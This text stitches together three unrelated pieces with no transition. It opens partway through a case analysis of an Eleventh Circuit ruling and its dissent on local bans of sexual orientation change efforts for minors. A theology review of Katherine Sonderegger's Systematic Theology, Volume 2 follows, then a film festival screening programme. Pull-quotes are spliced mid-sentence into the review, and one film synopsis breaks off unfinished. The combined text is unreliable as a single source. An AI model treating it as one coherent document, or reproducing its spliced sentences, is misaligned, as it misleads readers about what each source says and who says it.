sex, gender and sexual ethics. It explained that the governments had to promote their differing viewpoint without showing “bias, censorship or preference regarding [another] speaker’s point of view” [p.12]. The Court identified that the ordinances had an exception allowing for counseling for those undergoing gender transitions, but did not have an exception for therapies directed at sexual orientation which demonstrated that the governments viewed that sexual orientation was immutable but not gender, and was denying speech contrary to this viewpoint. The Court dismissed as irrelevant the contention by the governments that therapists could express this message about SOCE through public descriptions or recommendations that clients receive such therapy in other places, because the First Amendment was supposed to protect speech and not “the right to speak about banned speech” [p. 11]. It noted that it would be of no use to a therapist to advise a client on the helpfulness of a therapy but be constrained from administering the therapy. The Court also dismissed the District Court’s observation that Otto and Hamilton still had a “right and prerogative to seek greater acceptance of SOCE”, and observed that the First Amendment existed so that permission would not be needed from the government before sharing unpopular ideas [p. 11-12]. Accordingly, the Court held that the ordinances were content-based and viewpoint-based restrictions on speech. In examining the governments’ arguments that the ordinances were regulations for professional conduct and so constituted “less protected speech” under the First Amendment, the Court noted that the governments were not permitted to re-characterize the speech as conduct (which would then make the First Amendment inapplicable), because “the enterprise of labeling certain verbal or written communications ‘speech’ and others ‘conduct’ is unprincipled and susceptible to manipulation” [p. 7]. The Court acknowledged that some categories of speech did not qualify for protection, and others received less protection under the First Amendment – including “obscenity, defamation, fraud, incitement, and speech integral to criminal conduct” and commercial speech and speech incidental to regulated professional conduct – but held that the ordinances did not fall under either category as therapy could not qualify as commercial speech, and it was not “incidental speech swept up in the regulation of conduct” because there was no separate professional conduct being regulated here [p. 14]. The Court commented that there was a clear difference between “laws directed at conduct sweeping up incidental speech on the one hand and laws that directly regulate speech”, and that as therapy consisted almost entirely of words, it could not be characterized as conduct [p. 15]. It noted that “[i]f speaking to clients is not speech, the world is truly upside down” [p. 16]. The Court held that the advice the therapists could give their patients fell under the regulation and so the sanctions were on the speech directly and not incidentally. Nevertheless, the Court observed that characterizing the ordinances as professional regulations did not change the standard of scrutiny because there were still inherent risks that the government would use them as instruments “not to advance a legitimate regulatory goal, but to suppress unpopular ideas or information” [p. 6-7]. The Court stressed that it did not have unlimited power to declare new categories of speech unaffected by the First Amendment, and noted that professional speech was not a traditional exception. It referred to the Supreme Court’s judgment in the National Institute of Family & Life Advocates v. Becerra 138 S. Ct case which did not recognize professional speech as less protected speech, and it also criticized court decisions upholding SOCE bans including the ninth circuit court’s review of California’s anti-SOCE law under the rational basis standard in Pickup v Brown, 740 F.3d 1208, 1231 (9th Cir. 2014) and the third circuit’s review of New Jersey’s law in King v Governor of New Jersey, F.3d 216, 234–37 (3d Cir. 2014). The Court noted that although the holding in this case did not mean that reasons cannot exist for professional speech to constitute such a separate category, the governments had not offered one here. In examining whether the ordinances met a strict standard of scrutiny, the Court referred to the Reed v. Town of Gilbert case and emphasized that under this standard of review, content-based restrictions were presumptively unconstitutional and were justified only if they were “narrowly tailored to serve compelling state interests” [p. 19]. The Court acknowledged that the state undeniably had an interest in protecting the well-being, both physical and psychological of minors, but held this did not extend to “a free-floating power to restrict the ideas to which children may be exposed” where speech was limited solely because the legislative body deemed it unsuitable for the young [p. 20]. The Court emphasized that the governments bore the burden of demonstrating that the ordinances were designed to achieve a “compelling interest” and that they were “narrowly tailored” to achieve that interest [p. 20]. The Court held that the evidence provided by the governments were insufficient as the reports the governments relied on did not provide a clear indication that SOCE is harmful to minors. The Court said these “equivocal conclusions” did not satisfy the strict scrutiny standard and so could not rebut the presumption against content-based limitations [p. 21-22]. The governments had argued – and the District Court had concurred – that the lack of evidence was proof that the therapy was so widely opposed by professional organizations. However, the Court held that the governments’ arguments amounted to an argument that “majority preference can justify a speech restriction” and so went against the First Amendment [p. 22]. The Court highlighted that professional organizations can change their positions and so the prevailing majority view of those organizations cannot be used to limit First Amendment rights. The Court concluded that society could still remedy harmful speech through professional malpractice torts or state law penalties for actual harm, but, with reference to the NAACP v. Button, 371 U.S. 415, 438 (1963) case, stated that “[b]road prophylactic rules in the area of free expression are suspect” [p. 24]. The Court quoted United States v. Stevens, 559 U.S. 460, 464 (2010) and stressed that although some speech may appear too risky to permit, the First Amendment “requires that content-based speech restrictions satisfy strict scrutiny” and “reflects a judgment by the American people that the benefits of its restrictions on the Government outweigh the costs” [p. 24]. Accordingly, the Court held that Otto and Hamilton had met the first requirement for a preliminary injunction, and, therefore, also met the other two requirements because direct penalization under an unconstitutional ordinance would be irreparable injury and neither the governments nor the public would have a legitimate interest in the enforcement of such an unconstitutional statute. Otto and Hamilton had also argued that the ordinances were pre-empted by the Florida licensure scheme for mental health professionals and the Court acknowledged that constitutional questions were not to be determined when the case could be decided on other grounds. However, the Court held that the state law ground was not dispositive – because the District Court had only examined the first requirement of a preliminary injunction (irreparable harm) and not the other three requirements – and so did not bar consideration of the constitutional ground. Since the Court was a court of review, it would have to remand to the District Court for examination of the other three factors and the Court did not find it appropriate to wait for such a determination before granting the injunction because Otto and Hamilton’s rights would be in abeyance until that point which could have a chilling effect [p. 26]. The Court concluded by recognizing that “[p]eople have intense moral, religious, and spiritual views about these matters—on all sides” but emphasized that the First Amendment served to ensure that “government may not prohibit the expression of an idea simply because society finds the idea itself offensive or disagreeable” [p. 27]. Accordingly, the Court reversed the decision of the District Court, and ordered the preliminary injunction sought by Otto and Hamilton. Judge Martin’s dissent focused on the proper standard of scrutiny and whether the ordinances met that standard. Martin conducted his analysis on the assumption that the ordinances were content-based restrictions, and found them to meet a strict level of scrutiny. Martin noted that the ordinances prevented SOCE in the practice of licensed therapists and counsellors, but not among religious leaders. They also did not prohibit recommending or discussing SOCE with minor patients, issuing public statements in support of it, practicing it on adult patients, or practicing it outside of the county. Martin disagreed with the majority’s finding that the ordinances constituted viewpoint-based discrimination, and said that he did not see the ordinances as viewpoint discrimination because they prevented SOCE therapy regardless of whether a minor patient wanted counseling in carrying out a gender transition, or in transitioning back after a previous transition. Martin recognized that content-based restrictions rarely meet the strict standard, but would have found that, in the present case, the ordinances did meet that standard as the restrictions were narrowly tailored to a compelling public interest. Martin noted that the governments had an interest in protecting minors from harmful practices and so had power to license and regulate. This interest was heightened in the medical profession and when clients were minors. The ordinances did not preclude minors from obtaining certain information or ideas because therapists could still discuss SOCE and recommend it. They were only barred from actually performing the therapy. Martin found the reports and evidence submitted by the government to be proof of harm from SOCE therapy. He observed that participants who reported initial positive effects, later reported negative effects. Several organizations such as the American Academy of Pediatrics, the American Psychological Association, the World Health Organization and the US Department of Health and Human Services, Substance Abuse and Mental Health Services Administration had found harmful risks in it. Additionally, more research was not available because it would expose minors to risks and was considered ethically impermissible to conduct such studies: Martin commented that “the very research the majority opinion seems to demand is ‘not ethically permissible’ to conduct” [p. 39]. Martin disagreed with the majority’s interpretation of the Stevens case that “[t]he First Amendment itself reflects a judgment by the American people that the benefits of its restrictions on the Government outweigh the costs”, and stressed that the question in this case was whether the ordinances met the required strict scrutiny – whereas in Stevens the question was simply whether the First Amendment applied [p. 40-41]. Martin noted that “[t]he job of the courts is to evaluate the state’s justification for a speech restriction” and that since the strict scrutiny test involved “evaluating real world facts to assess the weight of the interest and the extent of the restriction” [p. 41-42], the judgements of professional organizations were deemed important. Martin recognized that a less restrictive alternative must be “at least as effective in achieving the legitimate purpose that the statute was enacted to serve” and that under-inclusive and over-inclusive laws both fail to meet the test because the former raises doubts about the intentions of the government and the latter is not the “least restrictive means” [p. 43]. Here, Otto and Hamilton had contended the law was under-inclusive because it excluded the offering of such therapy by unlicensed religious counsellors, but Martin would have found it a reasonable exclusion because such a law could run into issues with the establishment clause, and a law banning even discussion about SOCE would “plainly be unconstitutional” [p. 44]. Otto and Hamilton had also claimed that the ordinances were over-inclusive because they could have instead banned “only aversive or coercive therapies” or had an informed consent condition [p. 45]. Martin would have held that Otto and Hamilton failed to demonstrate the alternatives were more effective, and so they could not be considered alternatives. Accordingly, Martin would have affirmed the District Court’s denial of the preliminary injunction, and its finding that therapists did not qualify for a preliminary injunction on grounds of the ordinances being “(1) a prior restraint on speech, (2) void for vagueness, and (3) pre-empted by and in conflict with Florida law” [p. 46]. Decision Direction indicates whether the decision expands or contracts expression based on an analysis of the case. The present case expands expression, but is inconsistent with trends in domestic case law, and global standards on human rights protection which permit the banning of SOCE practices to protect the rights of children and the rights against non-discrimination, to health, to freedom from torture and ill-treatment, and to freedoms of conscience, religion and expression. Global Perspective demonstrates how the court’s decision was influenced by standards from one or many regions. Case significance refers to how influential the case is and how its significance changes over time. The decisions establishes a binding precedent for district courts within the jurisdiction of the Eleventh Circuit. This includes the district courts of Georgia, Florida and Alabama. Let us know if you notice errors or if the case analysis needs revision.

Katherine Sonderegger freely admits that in her Systematic Theology, Volume 2 she has written “an unfamiliar, perhaps odd book on the Holy Trinity” (p. xxix). It is also a masterpiece, a sustained virtuoso performance at the highest level of academic systematic theology. Sonderegger attempts things that only a handful of living practitioners could aspire to; she sets for herself lofty goals and then conjures creative strategies for pursuing them. Since the publication of the first volume in 2015, I have recognized that Sonderegger’s books demand to be read twice: a first time admiringly, with sheer gratitude that such a voice is speaking in this generation, and a second time for critical response to the “unfamiliar, perhaps odd” things she proposes. The first reading corresponds to Sonderegger’s authorial graciousness, as she celebrates a wide range of interlocutors, praising wherever she can, and seeking to synthesize all partial truths into a more comprehensive vision. It sometimes seems as if nobody is really quite wrong, on Sonderegger’s account—not even Tillich! But the required second reading corresponds to her iron determination that all is not well in the realm of modern trinitarian theology; she sees much disarray; many things need to be decisively re-oriented. She has taken sides, and responsible readers have to give an account of where they stand in this new landscape. In broad strokes, here are the problems Sonderegger sees in modern trinitarianism: It treats the Old Testament as a merely incipient phase in progressive revelation, where the Trinity is not yet to be found. It treats the revelation of the Trinity as so immediately bound to the history of salvation that the missions of the incarnate Son and the Pentecostal Spirit are the only clues to processions in the life of God. It approaches the Trinity as a truth purely revealed but otherwise unknowable, and therefore only intellectually credible in a double-negative sense (not not credible). In its most fervent phases, modern trinitarianism is alarmingly prone to collapsing the being of God into the history of salvation without remainder. It has few defenses against mutating into hard, social trinitarianism, resulting in a view of God as a group of three divine people closely linked and actively cooperating. Overall, trinitarian theology has devolved into an indoor sport in a club limited to Christian membership, very important for insiders but dwindling into insignificance a few feet out from the front door. This is a composite sketch which combines unlike features, and probably doesn’t match any actual single theologian. Readers who recognize some of these features in conventional trinitarian theology may still disagree about whether they are problems or solutions. But the sketch shows what Sonderegger is setting out to correct. Sonderegger administers correction only incidentally by way of critique, but preferably by way of massive, constructive counter-proposal. Here is what Sonderegger counter-proposes: The immanent Trinity of God is manifest in the altar sacrifice of the Old Testament. This manifestation is discerned by a contemplative or metaphysical reading of Scripture, one which takes the Bible’s genre and idiom as disclosures of ultimate reality. In my view, this is the pons asinorum for grasping Sonderegger’s proposal. A more conventional approach to discerning the triune being of God in the Old Testament would be to treat Israel’s altar sacrifice as a kind of Old Testament mission of the Son and/or the Spirit. But Sonderegger pursues no such path. We get to the heart of what she is doing in this volume when we recognize that she finds the triune LordIf the God of the Bible is really triune all the way down and all the way back, then that triunity must be present also without reference to the salvation of humans, and without reference to revelation to humans. in his holy temple before and apart from any revelatory or redemptive missions of the Son and the Spirit—not just historically earlier than the missions of incarnation and Pentecost, but more radically, at a level that is both epistemically and ontically prior to any missions whatsoever. “Not all is soteriology,” this volume systematically exhorts us, and “not all is revelation.” If the God of the Bible is really triune all the way down and all the way back, then that triunity must be present also without reference to the salvation of humans, and without reference to revelation to humans. This is why Sonderegger links triunity to holiness, and especially to aseity.. “We can discover and learn of, learn from, and feed on, the Triune Being of God in the Old and New Testaments” (p. 239). Trinitarian aseity means that God would live by internal processions even if there were no missions appended to them by grace. So far so good (and I’m tempted to say something risible like “Thomas Aquinas and I agree”). I think Sonderegger goes further by claiming that the processions are knowable in the Old Testament. If not processions, at least processionality, or Procession capitalized. It’s a bold hypothesis with wide implications for the structure of trinitarian theology: What if the doctrine of the immanent Trinity is an Old Testament doctrine about God’s being, while the economic Trinity is a New Testament doctrine about God’s gracious action? Even though I do not find the thought project supportable in face of the evidence, or preferable to a more traditional schema that finds essential unity taught clearly in the Old Testament and personal distinction revealed in the New, nevertheless it is a stimulating prompt. As Matthew Levering says in his commendation of this volume, its proposals “awaken us all from the Trinitarian slumbers, especially those of us who thought we hadn’t dozed off.” How does all this work together in Sonderegger? I think I can expound it most clearly by working in a reverse order from her own exposition. So, with spoiler alerts in place (and this is a uniquely suspenseful book of theology!), I’ll begin at the end of the volume, providing a little more detail on what is manifested of the processional life of God in sacrifice, and then backing out to see how this gives Sonderegger’s treatise on the Trinity its peculiar shape.In a longer review, I would then give attention to the underlying account of Scripture that supports this unusual trinitarian theology, but I think and hope that other participants in this symposium are better equipped to consider that, so I will leave it alone. Triune Holiness in the Temple The God of the Bible is in himself holy fire. In fact, there is in the eternal life of God a kind of perpetual self-giving and self-receiving that we can contemplate under the image of a self-contained fire. The divine fire doesn’t simply blaze forth and expend itself into the surrounding atmosphere (as if there were a surrounding atmosphere into which God might disperse), but has a perpetual structure of blazing forth within a particular, concrete form as it returns to itself. The phenomenology of fire, visual and otherwise, is so significant for Sonderegger that this book should probably be read by a fireplace: the paradoxical play of flame that is constantly rushing upward rapidly and yet standing there in the hearth as a bright object, not going away. It matters to Sonderegger that the divine fire is not simply a “pulsing” or “an Energetic Bundle that merely radiates or diffuses,” but is rather a power that reaches its own finality within itself.The God of the Bible is in himself holy fire. The fire that is God terminates internally in its own perfection, that is, in the divine persons as finalities. When God is present at the altar, Sonderegger says, “Israel’s temple sacrifices manifest and correspond to the Triune Lord’s Self-Offering, His costly descent and ascent as Gift.” That is, “the Levitical account of sacrifice reinscribes the Processional Life of God” (p. 367). The task she sets herself is “to think trinity, to think the Generative and Holy Life of the One God, as it is exemplified, manifested, and taught under the act and idiom of sacrifice” (p. 395). Perhaps here we see why the fiery sacrifice cannot be a divine mission, but must be a theophany. The life of God is manifest on the altar, but what can be seen there is not a life of processions-behind-missions. Missions are unique historical events; they can be dated, they mark points of progress in an unfolding divine plan, they move salvation history along. But the altar sacrifice is something different: it is not primarily instruction or historical deliverance at all, but presence and manifestation. Sonderegger is very careful with her language in this context, perhaps because she is working to avoid falling under the compulsive logic of a doctrine of revelation—especially as modern theology has understood revelation, as solving some notorious epistemological problems from Königsberg. What happens on the altar is not a mission but a work, and “these mighty workings of the Spirit are marks of the Divine Life that carry the eternal with them. They are a permanent hallowing” (p. 373). On the other hand, what is seen there is more than an action, and Sonderegger’s avowed aim is “to distinguish—not separate—the Manifestation of the Living God in Israel from the Divine Workings ad extra” (p. 374). The sacrifice at the altar is theophany to Israel, and in that way it is “the manifestation of the Concrete Life of God, the Generative, Spiritual Life of the Tri-Personed God, visiting His people” (p. 373). The important point to notice here is not that the sacrifice happened at some point in history, or at multiple points throughout history, but that it happens in the Bible, in Exodus and Leviticus and so on: it is as the word of God in Holy Scripture that the sacrifice is a manifestation of God’s self-hallowing. “In virtue of the Divine Processive Life, Israel’s history, from tabernacle to Second Temple, is a record that abides, that never recedes into the barren and fixed past. It is eternally animated by the Divine Life. We can say it simply: It is sanctified, consecrated” (p. 373). It is tempting for the reader (at least this reader) to try to fit this processional life of God into more conventional trinitarian patterns, to identify three discrete elements of the fiery sacrifice that map satisfyingly onto three persons of the Trinity. But I think Sonderegger frustrates this attempt intentionally, partly by keeping the beats down to two whenever possible, and partly by unfolding a plethora of alternative triads that are all equally plausible. So at one moment “the Holy Fire of God and Its Glory are the Old Testament expression of the Trinitarian Processions” (p. 412), which would seem to give us names for the Son and Spirit in sacrificial idiom: Fire of God and Glory of that Fire. Just a few pages later we get a possible naming of the first person, when we are told that “the Rupture and Descent, the Outpouring and the Offering that is the Processional Life of God, has an Origin . . . and this source is not the Nature Itself. It is the Majestic Reserve and Primacy of the Father” (p. 416). Or again, more elaborately, “what is offered in the Holy Descent is the Divine Self, Eternally the Offered; the smoky ash returned in good pleasure to the Origin is the Gift, Consummated, Perfect, and Whole—Holy” (p. 418). I think here the Father is to be discerned in the Self or the Origin, the Son in the Offered or the Gift, and the Spirit in the cluster of concepts that together mark the consummation of the whole.Sonderegger already elaborated on the Spirit as the return, acceptance, or completion of the fiery transaction in her first volume; what she says here depends on that. But the correspondences slip and slide into each other and, crucially, glow back into the one reality that is the processional structure of deity itself: “God’s inner Life. The Lord God just is Holy Fire” (p. 413). The Priority of Procession(s) If Sonderegger makes it hard for us to count to three in this fire, it is not because she intends to burn away the three persons of the Trinity: they are definitely here, and she promises they will feature in the forthcoming volumes’ accounts of mission.Not all is Christology, but she promises Christology! Instead, her goal is to keep our patterns of thought about the God of the entire Bible from settling into a “holy triangle” or succumbing to a “habitual reversion to lists” (p. 442). Strong reversion to the one divine life is of course a helpful motif in reaching the goal of this instruction: to present trinitarianism as a form of monotheism. But any monotheism that is biblical is a recognition of the living God, and to confess that God is living is to stand before the processional life of God. “The Processions . . . Procession in the singular does a lot of work for Sonderegger’s trinitarian theology: it is the “Engine of Unity.”structure and define Deity Itself, God’s inner Life. The Lord God just is Holy Fire” (p. 413). We might say that if some ways of teaching the Trinity draw our minds to unfold out toward triangles and lists and the clearly distinguished three persons, an alternative way of teaching the Trinity would draw our minds to enfold in from the three persons back to the two processions, and finally to the one processional life of God. Tracing such a movement into the divine unity helps name some of what Sonderegger is doing. Her partial alignment with Thomas Aquinas’s treatise on the Trinity in the Summa Theologiae is instructive: Thomas’s first Question on the Trinity begins with an article asking “whether there is procession in God,” and affirming that there is (ST 1:27, article 1). But in the next four articles, Thomas explores the duality of divine procession, distinguishes the two, relates them to each other, and denies that there are more than, or less than, two. Sonderegger seems to deny this.In section 5.3, on the unicity of the processions; pp. 420–459. Procession in the singular does a lot of work for Sonderegger’s trinitarian theology: it is the “Engine of Unity” (p. 457). Procession in the plural, however, does not seem to have a true place. This is, I think, the most obviously revisionist moment in an unusual book. It is the point where Sonderegger shows her deep knowledge of the classical trinitarian tradition, gives her reasons for dissenting from it, and claims that she stands here because she can do no other: “We have not properly heard the idiom and witness of Holy Scripture if we insist on two distinct Processions” (p. 429). Speaking for myself, I dissent from Sonderegger’s dissent, but having said so, I want to move briskly along to indicate the goal Sonderegger is pursuing throughout this very demanding part of her book. For complex reasons into which we cannot look very deeply here, Sonderegger sees in the Holy Spirit the fullest expression of the processional life of God. It is more traditional for the eternal generation of the Son to take center stage as “the fulcrum of the divine life” (p. 432), so that many large-scale arguments can take the form, “the Son is from the Father, and so also is the Spirit, in this different way.” Sonderegger points out that the Spirit’s procession is more clearly processional. As a result, she can make arguments that take the form of confessing the Spirit and then including the Son: “The Processional Act is principally and most specifically Spirit; It also is Son, Son of the Father” (p. 457). Sonderegger closes the loop in this strangest part of her argument by reverting to the fiery idiom for the processional life of God: “The Nature proceeds. That is what it means to say that God is Fire” (p. 441). God’s holiness is the eternal self-hallowing of the triune Lord; “the Triune Lord generates Holiness; this is the Self-Sanctification of God” (p. 473).With these metaphysical words, inevitably capitalized, Sonderegger turns her demanding work in trinitarian theology toward a plain, pastoral application. What is manifest in fiery sacrifice in the life of Israel is the eternal fiery nature of God, a processional life in which he blazes forth with holiness and love. This blazing forth within is “the consecration, the hallowing of Being Itself” (p. 474). And with these metaphysical words, inevitably capitalized, Sonderegger turns her demanding work in trinitarian theology toward a plain, pastoral application. It is an application that offers strong encouragement to many people in many situations, but seems especially poignant in the isolation and disruption of the current pandemic, with the discouragement and depression it brings in its train. The almighty holiness of God, grasped in its processional dynamic as God’s permanent self-hallowing, is an energetic rejection of retreat from the world as a place of goodness. It preempts existential nausea. “The dogma of Trinity just is the intellectual affirmation that Being is Holy,” Sonderegger tells us (p. 475). This statement goes deeper than anthropology, deeper than cosmology, reaching down all the way to the foundations of ontology: “not simply an affirmation that the creation is good. It is that, certainly, but it is also far more” (p. 475). To see the processional life of God in the Scriptures of Israel is to see that “in all Eternity, God is enacting the Structure of Being,” (p. 476) and that structure is Trinity. Sonderegger’s account of the Trinity is disorienting. I confess that it seems conceptually upside down and hermeneutically backward in many ways. It could hardly look otherwise to a theologian who, like me, has labored for some time at the task of tracing the alignment between the Trinity and the gospel. There are many ways of policing the boundary between divine aseity and soteriology, many ways of showing why social trinitarianism is unworkable, many ways of approaching the entire canon of Scripture as the place where we meet with God the Trinity, many ways of demonstrating the cogency of trinitarian doctrine. In all these areas, Sonderegger has provided unexpected, unconventional, and sometimes drastic new resources, and brought up astonishing modes of argument from the vasty deep. It seems to me the theological community is still in the early period of the reception of the first volume of Sonderegger’s remarkable project; how much more so this second volume! And I eagerly await further volumes—especially the Christology and the soteriology. #### It was our joy to host a panel discussion on this book, featuring the contributors to this symposium. You can find the video from that event on our resource page.

Narrative + Documentary Feature Films 44 Pages Documentary, 97 minutes Remember Highlights, that magazine you perused in the dentist’s waiting room as a child to distract yourself from dread of the cavity drill? It’s still going, still a family business, and still based in a stately mansion in Honesdale, Pennsylvania. Tony Shaff’s doc gives us a ringside seat for the production of the magazine’s 70th anniversary issue, introducing us to the editorial staff members committed to keeping Highlights relevant and fun in a changing world. Director: Tony Shaff Producers: Rebecca Green, Laura D. Smith Recently Screened At: SXSW (World Premiere), Cleveland International Film Festival, Cinetopia Scheduled to Attend: Rebecca Green, Producer Screening Details: 9/29 | 6pm | State Theatre AND 10/1 | Noon | Delta College Planetarium [BUY TICKETS] We’ve paired this charming animation to screen before the film. It Should Be Easy Animation, Comedy | 2 minutes It’s not easy providing tech support for a senior, especially if she’s your Mom. In Ben Meinhardt’s charming animated short, a put-upon tech worker tries to walk his mother through her computer issues as a sci-fi apocalypse of machines gone wild unfolds in her living room. Director: Ben Meinhardt | Recently Screened At: SXSW Bark Drama, 79 minutes After the sudden loss of a family member, three suburban siblings struggle to move forward. This sparsely scripted film is occasionally (and oddly) narrated by the family dog, Leadbelly, challenging us to make sense of its tragic circumstances along with its central characters. A stylish, intelligent, surprising debut from Anna Nilles and Marco Jake. Cast: Annie Brennan, Caitrin Gallagher, Eli Rubenstein Writers, Directors, & Producers: Anna Nilles & Marco Jake Recently Screened At: Prairie State Film Festival, Filmfestival Kitzbühel Scheduled to Attend: Anna Nilles, Marco Jake, Malcom McGuire, Michael Benassi Screening Details: 9/30 | 6:30pm | Scottish Rite Cathedral AND 10/1 | 4:30pm | Delta College Planetarium [BUY TICKETS] Closing Night Film Big Bear Comedy, 87 minutes HHM Jury Nomination: Best Supporting Actor (Pablo Schreiber) Joe’s buddies have set the stage for a gonzo bachelor party with a cabin in the mountains and plenty of beer, but Joe arrives with the ultimate buzzkill: his fiancée has dumped him for another dude. To cheer him up, Joe’s posse gets the bright idea of kidnapping the dude and tying him up in the basement. It has all the makings of a disaster, till Joe and the dude form the unlikeliest friendship ever in this bright comedy from Joey Kern. Cast: Adam Brody, Tyler Labine, Pablo Schreiber, Zachary Knighton, Joey Kern, Toby Huss Writer & Director: Joey Kern Producers: Brandon Evans, Patrick Rizzotti Recently Screened At: Tribeca Film Festival, Newport Beach Film Festival, CayFilm Cayman International Film Festival Scheduled to Attend: Joey Kern Screening Details: 10/1 | 7pm | State Theatre [GET TICKETS] The Crest Documentary, 82 minutes HHM Jury Nomination: Best Cinematography, Best Score Two descendants of an Irish king journey to the island where he once presided — not to reclaim the land, but to surf the waves. Mark Covino captures the surprising, scenic, and brave adventures of a family estranged by time and distance, but united by a peculiar devotion to the dangers of the sea. Cast: Mike Carney, Jerry Hayes, Andrew Jacob Director: Mark Covino Producers: Jack Kane, Rick Gibbs, John Crane, James H Crook Jr Recently Screened At: IFFBoston, Dingle International Film Festival, Woods Hole Film Festival (Best Cinematography) Scheduled to Attend: Mark Covino Screening Details: 10/1 | 2pm | State Theatre [GET TICKETS] El Revenge Comedy, Foreign Language (Portuguese/Spanish), 86 minutes HHM Jury Nomination: Supporting Actor (Gastón Ricaud), Supporting Actress (Ana Pauls) Caco plans on surprising his girlfriend with a marriage proposal, but instead catches her in the act of cheating on him – worst of all with an Argentinean. Vadão, Caco’s best friend, drags him on a revenge trip from Brazil to Argentina. Vadão is in high adventure mode, while Caco is focused on getting his ex-girlfriend back. Cast: Felipe Rocha, Daniel Furlan, Leandra Leal, Gastón Ricaud, Ana Pauls Director: Fernando Fraiha Co-Director: Jiddu Pinheiro Writers: Thiago Dottori, Pedro Aguilera, Jiddu Pinheiro and Felipe Sant’Angelo Producers: João Queiroz, Justine Otondo, Fernando Fraiha and Guilherme Keller Associate Producers: Bianca Villar and Karen Castanho Executive Producers: Rachel Braga, Justine Otondo and Luis Sartor Recently Screened At: Rio de Janeiro International Film Festival, Brooklyn Film Festival (Best New Director), Chicago Latino Film Festival Screening Details: 9/29 | 8:15pm | Delta College Planetarium [GET TICKETS] The short film Swipe Right will play at before the feature. Swipe Right Comedy | 9 minutes Dating apps offer users new control over their romantic entanglements, but sometimes the best encounters are unplanned. When a hot British guy buys Katie a beer, she quickly forgets the Tinder date who stood her up. Things move fast but don’t go entirely as expected in Kendall Goldberg’s madcap short. Cast: Cameron Kelly, Jimmy Seargeant, Maile Flanagan, Trevor Stevens, Ryan Stiffelman, Tom Teller | Writer & Director: Kendall Goldberg | Producers: Amber Berck, Kendall Goldberg | Recently Screened At: American Pavilion Emerging Filmmaker Showcase at Cannes 2017, LA Shorts, Austin Film Festival Fits and Starts Comedy, Drama, 96 minutes HHM Jury Nomination: Best Feature Film Jennifer and David aren’t exactly a New York power couple. While Jennifer’s star has risen with her first novel’s publication, her partner and literary mentor David has struggled in her shadows. When the two get separated on the way to a publisher’s salon in the suburbs, David is left to fend for himself amongst a collection of oddballs from the margins of the city’s intelligentsia. Laura Terruso’s comedy features a bevy of inspired cameos including an operatic interlude by Michigan native and polymath performer Joseph Keckler. Cast: Wyatt Cenac, Greta Lee, Maria Dizzia, Alex Karpovsky, Ben Sinclair, Onur Turkel, John Rothman, Louis Cancelmi, Larry Murphy, Sam Seder Writer and Director: Laura Terruso Executive Producer: Stacey Parks Producers: Margherita Arco, Neda Armian, Laura Terruso Recently Screened At: SXSW (World Premiere), Sarasota Film Festival, Nantucket Film Festival Screening Details: 9/29 | 2pm | Scottish Rite Cathedral AND 10/1 | 4:30pm | Scottish Rite Cathedral [GET TICKETS] This animation will play before the feature. Light Sight Animation, Drama, Musical | 8 minutes A happy stick figure is born into a tall tower lined with balls. With practice, he finds he can manipulate the balls to make lights, colors, and sounds. But there is one big ball that lords it over stick boy that he can’t reach. Seyed Tabatabaei’s provocative entry from Iran uses computer animation to raise deep questions about man, God, and balls. Writer & Director: Seyed M. Tabatabaei | Producer: Simin Farrokh Ahmadi | Recently Screened At: WV FILMmakers Festival (Best Animation), Nahal Student Short Film Festival – Tehran (Best Animation) Future Michigan Matinee, Sci-Fi, Drama, 86 minutes What’s done is done, but not for Doug. He’s a depressed tea store barista visited by a time-traveling nut job who offers him the opportunity to remake his life … all he’s got to do is kill someone. Now Doug has three days before his consciousness and physical form cease to exist and his friend from the future wants to make sure he spends his time wackily. The first feature from Detroit filmmakers Rob and Joshua Cousineau, this gonzo sci-fi comedy shows the team’s promise. Cast: Joshua P. Cousineau, Connor Sweeney, Claire Sloma, Phreddy Wischusen Directors: Robert Cousineau, Chris Rosik Writers: Joshua Cousineau, Robert Cousineau, Doug Kolbicz Producer: James McGovern Recently Screened At: GenreBlast Film Festival Scheduled to Attend: Robert Cousineau, Chris Rosik, Joshua P. Cousineau, Claire Sloma, Doug Kolbicz Screening Details: 9/30 | 2:30pm | Scottish Rite Cathedral [GET TICKETS] Kate Can’t Swim Comedy, 87 minutes Kate is almost thirty, almost engaged, almost settled in her career as a writer—but is deeply dissatisfied. When Kate’s best friend Em returns from Paris with a surprising new lover in tow, Kate and her boyfriend. Cast: Celeste Arias, Grayson DeJesus, Jennifer Allcott, Josh Helman Director: Josh Helman Co-Director: Evan Jonigkeit Writers: Jennifer Allcott, Josh Helman Producers: Jennifer Allcott, Samuel R. Syrop, Evan Jonigkeit, Zosia Mamet Recently Screened At: Slamdance Film Festival (Jury Special Mention), Brooklyn Film Festival (Best Editing, Lead Male), Omaha Film Festival Screening Details: 9/29 | 4pm | Scottish Rite Cathedral [GET TICKETS] Lost in Paris Comedy, Foreign Language (French, English), 83 minutes Fiona travels to Paris following a letter of distress from her 88-year-old Aunt Martha. Upon arrival she discovers that Martha has disappeared. In an avalanche of spectacular disasters, she encounters Dom, the affable, but annoying tramp who just won’t leave her alone. Fiona searches for Martha with Dom a few steps behind in a film full of amazing antics and intricately choreographed slapstick. Cast: Dominique Abel, Fiona Gordon, Emmanuelle Riva, Pierre Richard Writers, Directors, & Producers: Dominique Abel and Fiona Gordon Producers: Charles Gillibert, Christie Molia Recently Screened At: Telluride, Denver International Film Festival (Rare Pearl Award), Mill Valley Film Festival (Audience Award) Screening Details: 9/29 | 6pm | Scottish Rite Cathedral AND 9/30 | Noon | State Theatre [GET TICKETS] We’ve paired this frisky short to play before the feature. Ouija Sex Dark Comedy | 5 minutes Ryan’s so desperate to communicate with his deceased girlfriend that he resorts to a medium, but a Ouija board séance quickly reveals that she’s getting a little frisky in the great beyond. Mondo Ghulam’s mischievous comic short reveals the pleasures and perils of sexting with spirits. Cast: David Anderson, Sarit Wilson Chen, Clare Almond, Angela Peters, David Sayers, Cyril Cottrell, Laura Evelyn | Director: Mondo Ghulam | Writer: Leander Thom | Producers: Benedetta Basile | Recently Screened At: Calgray Underground Film Festival, Portland Comedy Film Festival, LA Comedy Festival Moss Drama, 86 minutes HHM Jury Nominations: Best Cinematography, Best Score, Lead Actor (Mitchell Slaggert) Centered on a young man stuck in the North Carolina back country with his single father, this film has all the elements of one of those morality tales of meth, opioid, and/or family abuse, but that’s not at all what it turns out to be. Moss’s Dad is an artist who carves masterpieces out of driftwood. His best friend is an African-American hippie on a homemade houseboat who smokes and sells a lot of dope but seems to get along just fine. And Moss’s big encounter on his 18th birthday involves an older woman who introduces him to magic mushrooms and more in Daniel Peddle’s trippy, quiet, and beautifully atmospheric drama. 